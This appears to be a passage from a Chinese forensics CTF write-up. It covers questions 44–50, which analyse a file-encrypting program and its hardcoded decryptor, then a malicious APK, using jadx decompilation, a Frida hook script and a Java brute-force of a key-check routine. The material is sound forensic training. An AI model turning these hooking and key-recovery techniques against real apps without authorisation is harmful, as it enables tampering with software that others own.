阅读代码即可发现在run_finall函数中最后调用了XORCBC类的encrypt方法进行了加密

image

而该encrypt方法对数据进行了异或运算

image

44. 分析加密程序,其使用的非对称加密方式公钥后5位为?

同样可以在代码中发现publickey如下

pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'

45. 被加密文档中,FLAG1的值是(FLAG为8位字符串,如“FLAG9:QWERT123”)

以同样的方法对decrypt_file.exe进行解包与反编译,发现解密需要的密码明文写在了程序中

image

执行decrypt_file.exe并输入密码,对数据下载地址.docx_encrypted文件进行解密

image

得到解密后的文档,FLAG就在文档中

image

APK部分

46. 恶意APK程序的包名为

方法一:雷电,基本信息

方法二:jadx打开,查看AndroidManifest.xml

47. APK调用的权限包括

方法一:雷电,静态权限

方法二:同样在AndroidManifest.xml里

48. 解锁第一关所使用的FLAG2值为

先脱壳,jadx反编译。先全局搜索一下关键词FLAG

定位过去,大致看下逻辑,结合交互信息对应的条件可以确定是第几关。

其中OnClick函数这里有个明显的字符串对比,trim2是我们的输入,从而可以确定答案

49. 解锁第二关所使用的FLAG3值为

接上题,注意到第二关这里

App.OooO0O0.OooO0oo查看用例,发现在这里被初始化。

分析OooO0O0.OooO0O0,能发现这个函数是把十六进制串转为byte数组。

decrypt是native函数,从libcipher.so中加载。

方法一:通过frida直接hookApp.OooO0O0.OooO0oo的值,模拟器先把frida-server开起来(注意不要给ZTuoExchange root权限),跑脚本frida -U -l hook.js "ZTuoExchange"

setImmediate(function () {
	Java.perform(function () {
		var app = Java.use("cn.forensix.cab.App"); // 指定类
		var OooO0oo = app.class.getField("OooO0oo"); // 指定属性
		var OooO0O0 = app.class.getField("OooO0O0").get(null); // 获取已实例化的对象		console.log(OooO0oo.get(OooO0O0));
	});})

方法二:建立Android项目,把需要的文件和函数都放进来,直接调用decryptOooO0O0.OooO0O0获取this.OooO0oo的值。

参考:https://note.youdao.com/ynoteshare/mobile.html?id=78afde521af47956731c8185624110ec&type=note&_time=1667732405820#/

50. 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

注意到这里

查看其声明

要求字符串长度为24。4个一组,通过移位将4个数构成一个大数,分成6组操作。其中try块里会触发unused异常(强制转换为Integer那里),真正的验证逻辑在catch块中。查看声明,确定OooO函数和OooO0oO数组。

可以每4个进行爆破,每个都是可见字符

class Main {

    private static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};

    public static void main(String[] args) {
        for (int n=0; n<6; n++) {
            boolean flag = false;
            for (int i = 0x20; i < 0x7f; i++) {
                for (int j = 0x20; j < 0x7f; j++) {
                    for (int k = 0x20; k < 0x7f; k++) {
                        for (int l = 0x20; l < 0x7f; l++) {
                            long tmp = (long) (i << 16);
                            tmp |= (long) (j << '\b');
                            tmp |= (long) (k << 24);
                            tmp |= (long) l;

                            if (((OooO(tmp, 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L == ((long) OooO0oO[n])) {
                                System.out.print((char) i);
                                System.out.print((char) j);
                                System.out.print((char) k);
                                System.out.print((char) l);
                                flag = true;
                                break;
                            }
                        }
                        if (flag)
                            break;
                    }
                    if (flag)
                        break;
                }
                if (flag)
                    break;
            }
        }
     }

    public boolean OooO0O0(String str) {
        if (str.length() != 24) {
            return false;
        }
        long[] jArr = new long[6];
        for (int i = 0; i < str.length() / 4; i++) {
         int i2 = i * 4;
         jArr[i] = (long) (str.charAt(i2) << 16);
         jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 1) << '\b'));
         jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 2) << 24));
         jArr[i] = ((long) str.charAt(i2 + 3)) | jArr[i];//         PrintStream printStream = System.out;//         printStream.println("buildKey:i:" + i + ",value:" + jArr[i]);
         }
        try {
            int[] iArr = {1197727043, 1106668192, 312918557, 1828680848, 1668105873, 1728985862};
            Object[] objArr = {'x', '1', ':', 'A', 'z', '}'};
            for (int i3 = 0; i3 < 6; i3++) {
                if (((long) iArr[i3]) - jArr[i3] != ((long) ((Integer) objArr[i3]).intValue())) {
                    return false;
                }
            }
            return true;
        } catch (Exception unused) {
             for (int i4 = 0; i4 < 6; i4++) {
                 if (((OooO(jArr[i4], 4294967296L)[0] % 4294967296L) + 4294967296L) % 4294967296L != ((long) this.OooO0oO[i4])) {
                     return false;
                 }
             }
            return true;
        }
    }

     private static long[] OooO(long j, long j2) {
         if (j == 0) {
             return new long[]{0, 1};
         }
         long[] OooO = OooO(j2 % j, j);
         return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
     }
 }